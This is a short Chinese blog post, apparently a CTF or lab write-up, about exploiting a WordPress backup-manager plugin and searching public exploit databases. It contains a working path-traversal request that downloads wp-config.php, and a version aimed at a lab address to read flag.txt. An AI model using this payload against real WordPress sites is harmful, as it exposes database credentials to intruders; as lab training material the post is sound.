HgTrojan blog每日一练
问题解题访问web，发现存在插件搜索公共漏洞，得到poc：[站点]/[路径]/wp-admin/tools.php?page=backup_manager&download_backup_file=../wp-config.php修改poc，获取flag.txt：83.136.251.235:31002/wp-admin/tools.php?page=backup_manager&download
公共漏洞利用
一旦我们确定了在扫描中识别的端口上运行的服务，第一步就是查看是否有任何应用程序/服务有任何公共漏洞。方法许多工具可以帮助我们搜索在枚举阶段可能遇到的各种应用程序和服务的公共漏洞。在 Google 上搜索应用程序名称,如：运用工具（用于此目的的一个著名工具是 searchsploit）利用在线漏洞利用数据库来搜索漏洞，例如 Exploit DB、Rapid7 DB 或 Vulnerability L